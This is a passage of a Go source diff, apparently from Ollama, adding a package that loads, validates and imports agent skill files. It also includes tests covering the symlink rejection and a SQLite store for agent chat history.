result.Error = "already exists"
|
||||
} else if err != nil {
|
||||
result.Skipped = true
|
||||
result.Error = err.Error()
|
||||
} else if len(copyResult.Skipped) > 0 {
|
||||
result.Error = "skipped symlinks: " + strings.Join(copyResult.Skipped, ", ")
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
}
|
||||
|
||||
slices.SortFunc(results, func(a, b ImportResult) int {
|
||||
return strings.Compare(a.Skill.Name+a.From, b.Skill.Name+b.From)
|
||||
})
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func SourceDirs(source string) ([]string, error) {
|
||||
source = strings.ToLower(strings.TrimSpace(source))
|
||||
if source == "" {
|
||||
source = "all"
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("resolve home directory: %w", err)
|
||||
}
|
||||
|
||||
dirs := map[string][]string{
|
||||
"claude": {filepath.Join(home, ".claude", "skills")},
|
||||
"codex": {filepath.Join(home, ".codex", "skills")},
|
||||
"pi": {filepath.Join(home, ".pi", "skills"), filepath.Join(home, ".agents", "skills")},
|
||||
"agents": {filepath.Join(home, ".agents", "skills")},
|
||||
}
|
||||
if source == "all" {
|
||||
var all []string
|
||||
for _, name := range []string{"claude", "codex", "pi"} {
|
||||
all = append(all, dirs[name]...)
|
||||
}
|
||||
return uniqueStrings(all), nil
|
||||
}
|
||||
if roots, ok := dirs[source]; ok {
|
||||
return roots, nil
|
||||
}
|
||||
return nil, fmt.Errorf("unknown skill source %q (use claude, codex, pi, agents, or all)", source)
|
||||
}
|
||||
|
||||
func skillDirs(root string) ([]skillDirCandidate, error) {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var dirs []skillDirCandidate
|
||||
for _, entry := range entries {
|
||||
if strings.HasPrefix(entry.Name(), ".") {
|
||||
continue
|
||||
}
|
||||
dir := filepath.Join(root, entry.Name())
|
||||
if entry.Type()&os.ModeSymlink != 0 {
|
||||
dirs = append(dirs, skillDirCandidate{
|
||||
Dir: dir,
|
||||
Skipped: true,
|
||||
Error: "symlinked skill directories are not supported",
|
||||
})
|
||||
continue
|
||||
}
|
||||
if !entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, SkillFile)); err == nil {
|
||||
dirs = append(dirs, skillDirCandidate{Dir: dir})
|
||||
}
|
||||
}
|
||||
slices.SortFunc(dirs, func(a, b skillDirCandidate) int {
|
||||
return strings.Compare(a.Dir, b.Dir)
|
||||
})
|
||||
return dirs, nil
|
||||
}
|
||||
|
||||
func uniqueStrings(values []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
for _, value := range values {
|
||||
if seen[value] {
|
||||
continue
|
||||
}
|
||||
seen[value] = true
|
||||
out = append(out, value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
SkillFile = "SKILL.md"
|
||||
maxSkillFileBytes = 1 << 20
|
||||
)
|
||||
|
||||
var validName = regexp.MustCompile(`^[a-z0-9][a-z0-9-]{0,63}$`)
|
||||
|
||||
type Skill struct {
|
||||
Name string
|
||||
Description string
|
||||
Dir string
|
||||
File string
|
||||
}
|
||||
|
||||
type Catalog struct {
|
||||
Dir string
|
||||
Skills []Skill
|
||||
Warnings []string
|
||||
}
|
||||
|
||||
type frontmatter struct {
|
||||
Name string `yaml:"name"`
|
||||
Description string `yaml:"description"`
|
||||
}
|
||||
|
||||
func DefaultDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolve home directory: %w", err)
|
||||
}
|
||||
return filepath.Join(home, ".ollama", "skills"), nil
|
||||
}
|
||||
|
||||
func LoadDefault() (*Catalog, error) {
|
||||
dir, err := DefaultDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return Load(dir)
|
||||
}
|
||||
|
||||
func Load(dir string) (*Catalog, error) {
|
||||
catalog := &Catalog{Dir: dir}
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return catalog, nil
|
||||
}
|
||||
return nil, fmt.Errorf("read skills directory: %w", err)
|
||||
}
|
||||
|
||||
seen := make(map[string]string)
|
||||
for _, entry := range entries {
|
||||
if !entry.IsDir() || strings.HasPrefix(entry.Name(), ".") {
|
||||
continue
|
||||
}
|
||||
|
||||
skillDir := filepath.Join(dir, entry.Name())
|
||||
skill, err := ReadMetadata(filepath.Join(skillDir, SkillFile))
|
||||
if err != nil {
|
||||
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: %v", skillDir, err))
|
||||
continue
|
||||
}
|
||||
skill.Dir = skillDir
|
||||
skill.File = filepath.Join(skillDir, SkillFile)
|
||||
if previous, ok := seen[skill.Name]; ok {
|
||||
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: duplicate skill name %q already loaded from %s", skillDir, skill.Name, previous))
|
||||
continue
|
||||
}
|
||||
seen[skill.Name] = skillDir
|
||||
catalog.Skills = append(catalog.Skills, skill)
|
||||
}
|
||||
|
||||
slices.SortFunc(catalog.Skills, func(a, b Skill) int {
|
||||
return strings.Compare(a.Name, b.Name)
|
||||
})
|
||||
return catalog, nil
|
||||
}
|
||||
|
||||
func ReadMetadata(path string) (Skill, error) {
|
||||
data, err := readSkillFile(path)
|
||||
if err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
|
||||
meta, _, err := parseSkillFile(data)
|
||||
if err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
if err := validateMetadata(meta); err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
return Skill{Name: meta.Name, Description: meta.Description}, nil
|
||||
}
|
||||
|
||||
func (c *Catalog) Empty() bool {
|
||||
return c == nil || len(c.Skills) == 0
|
||||
}
|
||||
|
||||
func (c *Catalog) Find(name string) (Skill, bool) {
|
||||
if c == nil {
|
||||
return Skill{}, false
|
||||
}
|
||||
name = NormalizeName(name)
|
||||
for _, skill := range c.Skills {
|
||||
if skill.Name == name {
|
||||
return skill, true
|
||||
}
|
||||
}
|
||||
return Skill{}, false
|
||||
}
|
||||
|
||||
func (c *Catalog) SummaryMarkdown() string {
|
||||
if c.Empty() {
|
||||
return "No skills are installed."
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("Installed skills:\n\n")
|
||||
for _, skill := range c.Skills {
|
||||
b.WriteString("- **")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteString("**: ")
|
||||
b.WriteString(skill.Description)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (c *Catalog) SystemPrompt(toolAvailable bool) string {
|
||||
if c.Empty() {
|
||||
return ""
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString("Agent skills are available. Skills are reusable instruction packages stored under ")
|
||||
b.WriteString(c.Dir)
|
||||
b.WriteString(".\n")
|
||||
b.WriteString("Use a skill when its description matches the user's task. Load only metadata up front; load full instructions only when needed.\n")
|
||||
if toolAvailable {
|
||||
b.WriteString("To load a skill, call the skill tool with the skill name. After loading SKILL.md, follow it. Resolve relative references from the returned skill directory.\n")
|
||||
} else {
|
||||
b.WriteString("This model cannot call tools in this session. Follow any skill instructions that are explicitly provided by the user or system.\n")
|
||||
}
|
||||
b.WriteString("\nAvailable skills:\n")
|
||||
for _, skill := range c.Skills {
|
||||
b.WriteString("- ")
|
||||
b.WriteString(skill.Name)
|
||||
b.WriteString(": ")
|
||||
b.WriteString(skill.Description)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return strings.TrimRight(b.String(), "\n")
|
||||
}
|
||||
|
||||
func (s Skill) Read() (string, error) {
|
||||
if s.File == "" {
|
||||
return "", fmt.Errorf("skill %q has no %s path", s.Name, SkillFile)
|
||||
}
|
||||
data, err := readSkillFile(s.File)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func readSkillFile(path string) ([]byte, error) {
|
||||
info, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
return nil, fmt.Errorf("%s must not be a symlink", SkillFile)
|
||||
}
|
||||
if !info.Mode().IsRegular() {
|
||||
return nil, fmt.Errorf("%s must be a regular file", SkillFile)
|
||||
}
|
||||
if info.Size() > maxSkillFileBytes {
|
||||
return nil, fmt.Errorf("%s exceeds %d bytes", SkillFile, maxSkillFileBytes)
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
|
||||
func NormalizeName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.TrimPrefix(name, "/")
|
||||
return strings.ToLower(name)
|
||||
}
|
||||
|
||||
func parseSkillFile(data []byte) (frontmatter, string, error) {
|
||||
text := strings.ReplaceAll(string(data), "\r\n", "\n")
|
||||
if !strings.HasPrefix(text, "---\n") {
|
||||
return frontmatter{}, "", fmt.Errorf("%s must start with YAML frontmatter", SkillFile)
|
||||
}
|
||||
|
||||
rest := text[len("---\n"):]
|
||||
end := strings.Index(rest, "\n---")
|
||||
if end < 0 {
|
||||
return frontmatter{}, "", fmt.Errorf("%s frontmatter is not closed", SkillFile)
|
||||
}
|
||||
|
||||
var meta frontmatter
|
||||
if err := yaml.Unmarshal([]byte(rest[:end]), &meta); err != nil {
|
||||
return frontmatter{}, "", fmt.Errorf("parse frontmatter: %w", err)
|
||||
}
|
||||
|
||||
body := rest[end+len("\n---"):]
|
||||
body = strings.TrimPrefix(body, "\n")
|
||||
return meta, body, nil
|
||||
}
|
||||
|
||||
func validateMetadata(meta frontmatter) error {
|
||||
if !validName.MatchString(meta.Name) {
|
||||
return fmt.Errorf("invalid skill name %q", meta.Name)
|
||||
}
|
||||
if strings.TrimSpace(meta.Description) == "" {
|
||||
return fmt.Errorf("skill %q has empty description", meta.Name)
|
||||
}
|
||||
if len([]rune(meta.Description)) > 1024 {
|
||||
return fmt.Errorf("skill %q description exceeds 1024 characters", meta.Name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type copyDirResult struct {
|
||||
Skipped []string
|
||||
}
|
||||
|
||||
func copyDir(src, dst string, force bool) (copyDirResult, error) {
|
||||
if _, err := os.Stat(dst); err == nil && !force {
|
||||
return copyDirResult{}, fs.ErrExist
|
||||
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
|
||||
parent := filepath.Dir(dst)
|
||||
if err := os.MkdirAll(parent, 0o755); err != nil {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
tmp, err := os.MkdirTemp(parent, "."+filepath.Base(dst)+".tmp-*")
|
||||
if err != nil {
|
||||
return copyDirResult{}, err
|
||||
}
|
||||
moved := false
|
||||
defer func() {
|
||||
if !moved {
|
||||
_ = os.RemoveAll(tmp)
|
||||
}
|
||||
}()
|
||||
|
||||
var result copyDirResult
|
||||
if err := filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(src, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if rel == "." {
|
||||
return nil
|
||||
}
|
||||
target := filepath.Join(tmp, rel)
|
||||
|
||||
if d.Type()&os.ModeSymlink != 0 {
|
||||
result.Skipped = append(result.Skipped, rel)
|
||||
return nil
|
||||
}
|
||||
if d.IsDir() {
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.MkdirAll(target, info.Mode().Perm())
|
||||
}
|
||||
|
||||
info, err := d.Info()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(target, data, info.Mode().Perm())
|
||||
}); err != nil {
|
||||
return result, err
|
||||
}
|
||||
|
||||
if force {
|
||||
if err := os.RemoveAll(dst); err != nil {
|
||||
return result, err
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
return result, fs.ErrExist
|
||||
} else if err != nil && !errors.Is(err, os.ErrNotExist) {
|
||||
return result, err
|
||||
}
|
||||
if err := os.Rename(tmp, dst); err != nil {
|
||||
return result, err
|
||||
}
|
||||
moved = true
|
||||
return result, nil
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLoadCatalogReadsSkillMetadata(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writeSkill(t, filepath.Join(dir, "go-code"), "go-code", "Write idiomatic Go code.")
|
||||
|
||||
catalog, err := Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(catalog.Skills) != 1 {
|
||||
t.Fatalf("skills = %d, want 1: %#v", len(catalog.Skills), catalog)
|
||||
}
|
||||
if got := catalog.Skills[0].Name; got != "go-code" {
|
||||
t.Fatalf("skill name = %q", got)
|
||||
}
|
||||
if prompt := catalog.SystemPrompt(true); !strings.Contains(prompt, "go-code: Write idiomatic Go code.") || !strings.Contains(prompt, "call the skill tool") {
|
||||
t.Fatalf("system prompt missing skill metadata: %q", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadCatalogSkipsInvalidSkills(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writeSkill(t, filepath.Join(dir, "bad"), "Bad_Name", "bad")
|
||||
|
||||
catalog, err := Load(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(catalog.Skills) != 0 {
|
||||
t.Fatalf("skills = %#v, want none", catalog.Skills)
|
||||
}
|
||||
if len(catalog.Warnings) == 0 {
|
||||
t.Fatal("expected invalid skill warning")
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirCopiesCanonicalSkill(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
src := filepath.Join(home, ".claude", "skills", "go-code")
|
||||
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
|
||||
if err := os.WriteFile(filepath.Join(src, "notes.md"), []byte("notes"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
dest := filepath.Join(home, ".ollama", "skills")
|
||||
results, err := ImportToDir("claude", dest, false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || results[0].Skipped {
|
||||
t.Fatalf("results = %#v", results)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dest, "go-code", "notes.md")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadMetadataRejectsSymlink(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
dir := t.TempDir()
|
||||
real := filepath.Join(dir, "real.md")
|
||||
if err := os.WriteFile(real, []byte("---\nname: go-code\ndescription: Write idiomatic Go code.\n---\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
link := filepath.Join(dir, SkillFile)
|
||||
if err := os.Symlink(real, link); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := ReadMetadata(link); err == nil || !strings.Contains(err.Error(), "must not be a symlink") {
|
||||
t.Fatalf("ReadMetadata error = %v, want symlink rejection", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirReportsSymlinkedSkillDirectory(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
srcRoot := filepath.Join(home, ".claude", "skills")
|
||||
real := filepath.Join(home, "elsewhere", "go-code")
|
||||
writeSkill(t, real, "go-code", "Write idiomatic Go code.")
|
||||
if err := os.MkdirAll(srcRoot, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(real, filepath.Join(srcRoot, "go-code")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || !results[0].Skipped {
|
||||
t.Fatalf("results = %#v, want one skipped symlink directory", results)
|
||||
}
|
||||
if !strings.Contains(results[0].Error, "symlinked skill directories") {
|
||||
t.Fatalf("error = %q, want symlink directory warning", results[0].Error)
|
||||
}
|
||||
}
|
||||
|
||||
func TestImportToDirReportsSkippedSymlinkEntries(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("symlink permissions vary on Windows")
|
||||
}
|
||||
home := t.TempDir()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
src := filepath.Join(home, ".claude", "skills", "go-code")
|
||||
writeSkill(t, src, "go-code", "Write idiomatic Go code.")
|
||||
target := filepath.Join(home, "outside.md")
|
||||
if err := os.WriteFile(target, []byte("outside"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(target, filepath.Join(src, "outside.md")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
results, err := ImportToDir("claude", filepath.Join(home, ".ollama", "skills"), false)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(results) != 1 || results[0].Skipped {
|
||||
t.Fatalf("results = %#v, want one imported skill", results)
|
||||
}
|
||||
if !strings.Contains(results[0].Error, "skipped symlinks: outside.md") {
|
||||
t.Fatalf("error = %q, want skipped symlink warning", results[0].Error)
|
||||
}
|
||||
if _, err := os.Lstat(filepath.Join(home, ".ollama", "skills", "go-code", "outside.md")); !os.IsNotExist(err) {
|
||||
t.Fatalf("copied symlink err = %v, want missing symlink", err)
|
||||
}
|
||||
}
|
||||
|
||||
func writeSkill(t *testing.T, dir, name, description string) {
|
||||
t.Helper()
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := "---\nname: " + name + "\ndescription: " + description + "\n---\n\n# " + name + "\n\nUse this skill.\n"
|
||||
if err := os.WriteFile(filepath.Join(dir, SkillFile), []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,991 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
)
|
||||
|
||||
type Store struct {
|
||||
DBPath string
|
||||
|
||||
dbMu sync.Mutex
|
||||
db *database
|
||||
}
|
||||
|
||||
type database struct {
|
||||
conn *sql.DB
|
||||
}
|
||||
|
||||
type AgentChat struct {
|
||||
ID string
|
||||
Title string
|
||||
Model string
|
||||
CreatedAt time.Time
|
||||
Messages []api.Message
|
||||
}
|
||||
|
||||
type ChatSummary struct {
|
||||
ID string
|
||||
Title string
|
||||
Model string
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
MessageCount int
|
||||
ApproxBytes int64
|
||||
}
|
||||
|
||||
func New(path string) (*Store, error) {
|
||||
store := &Store{DBPath: path}
|
||||
if err := store.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store, nil
|
||||
}
|
||||
|
||||
func (s *Store) ensureDB() error {
|
||||
if s.db != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
s.dbMu.Lock()
|
||||
defer s.dbMu.Unlock()
|
||||
|
||||
if s.db != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(dbPath), 0o755); err != nil {
|
||||
return fmt.Errorf("create database directory: %w", err)
|
||||
}
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.db = db
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) Close() error {
|
||||
if s == nil || s.db == nil {
|
||||
return nil
|
||||
}
|
||||
err := s.db.Close()
|
||||
s.db = nil
|
||||
return err
|
||||
}
|
||||
|
||||
func defaultDBPath() string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return filepath.Join(os.Getenv("LOCALAPPDATA"), "Ollama", "db.sqlite")
|
||||
case "darwin":
|
||||
return filepath.Join(os.Getenv("HOME"), "Library", "Application Support", "Ollama", "db.sqlite")
|
||||
default:
|
||||
return filepath.Join(os.Getenv("HOME"), ".ollama", "db.sqlite")
|
||||
}
|
||||
}
|
||||
|
||||
func newDatabase(dbPath string) (*database, error) {
|
||||
conn, err := sql.Open("sqlite3", dbPath+"?_foreign_keys=on&_journal_mode=WAL&_busy_timeout=5000&_txlock=immediate")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("open database: %w", err)
|
||||
}
|
||||
if err := conn.Ping(); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("ping database: %w", err)
|
||||
}
|
||||
db := &database{conn: conn}
|
||||
if err := db.init(); err != nil {
|
||||
conn.Close()
|
||||
return nil, fmt.Errorf("initialize database: %w", err)
|
||||
}
|
||||
return db, nil
|
||||
}
|
||||
|
||||
func (db *database) Close() error {
|
||||
_, _ = db.conn.Exec("PRAGMA wal_checkpoint(TRUNCATE);")
|
||||
return db.conn.Close()
|
||||
}
|
||||
|
||||
func (db *database) init() error {
|
||||
if _, err := db.conn.Exec("PRAGMA foreign_keys = ON"); err != nil {
|
||||
return fmt.Errorf("enable foreign keys: %w", err)
|
||||
}
|
||||
if _, err := db.conn.Exec(`
|
||||
CREATE TABLE IF NOT EXISTS chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
model_name TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT 'app',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS messages (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
images TEXT NOT NULL DEFAULT '[]',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
model_cloud BOOLEAN,
|
||||
model_ollama_host BOOLEAN,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
thinking_time_start TIMESTAMP,
|
||||
thinking_time_end TIMESTAMP,
|
||||
tool_result TEXT,
|
||||
tool_name TEXT NOT NULL DEFAULT '',
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
archived BOOLEAN NOT NULL DEFAULT 0,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
FOREIGN KEY (message_id) REFERENCES messages(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
`); err != nil {
|
||||
return err
|
||||
}
|
||||
return db.ensureAgentSchema()
|
||||
}
|
||||
|
||||
func (db *database) ensureAgentSchema() error {
|
||||
for _, stmt := range []struct {
|
||||
sql string
|
||||
msg string
|
||||
}{
|
||||
{`ALTER TABLE chats ADD COLUMN model_name TEXT NOT NULL DEFAULT ''`, "add chats.model_name"},
|
||||
{`ALTER TABLE chats ADD COLUMN source TEXT NOT NULL DEFAULT 'app'`, "add chats.source"},
|
||||
{`ALTER TABLE messages ADD COLUMN images TEXT NOT NULL DEFAULT '[]'`, "add messages.images"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_name TEXT NOT NULL DEFAULT ''`, "add messages.tool_name"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add messages.tool_call_id"},
|
||||
{`ALTER TABLE messages ADD COLUMN archived BOOLEAN NOT NULL DEFAULT 0`, "add messages.archived"},
|
||||
{`ALTER TABLE tool_calls ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add tool_calls.tool_call_id"},
|
||||
} {
|
||||
_, err := db.conn.Exec(stmt.sql)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("%s: %w", stmt.msg, err)
|
||||
}
|
||||
}
|
||||
_, err := db.conn.Exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id ON messages(chat_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_tool_calls_message_id ON tool_calls(message_id);
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create agent chat persistence tables: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func duplicateColumnError(err error) bool {
|
||||
return err != nil && strings.Contains(strings.ToLower(err.Error()), "duplicate column")
|
||||
}
|
||||
|
||||
func (s *Store) EnsureChat(ctx context.Context, id string, title string) error {
|
||||
if id == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := s.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO chats (id, title, created_at, source)
|
||||
VALUES (?, ?, ?, 'agent')
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
title = CASE
|
||||
WHEN excluded.title != '' THEN excluded.title
|
||||
ELSE chats.title
|
||||
END,
|
||||
source = 'agent'
|
||||
`, id, title, time.Now())
|
||||
if err != nil {
|
||||
return fmt.Errorf("ensure chat: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) SetChatModel(ctx context.Context, chatID string, model string) error {
|
||||
chatID = strings.TrimSpace(chatID)
|
||||
model = strings.TrimSpace(model)
|
||||
if chatID == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if model == "" {
|
||||
return fmt.Errorf("model is required")
|
||||
}
|
||||
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := s.db.conn.ExecContext(ctx, `UPDATE chats SET model_name = ? WHERE id = ?`, model, chatID); err != nil {
|
||||
return fmt.Errorf("set chat model: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Store) AppendAgentMessage(ctx context.Context, chatID string, msg api.Message, model string) error {
|
||||
if err := s.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
messageID, err := insertAgentMessage(ctx, tx, chatID, msg, model)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
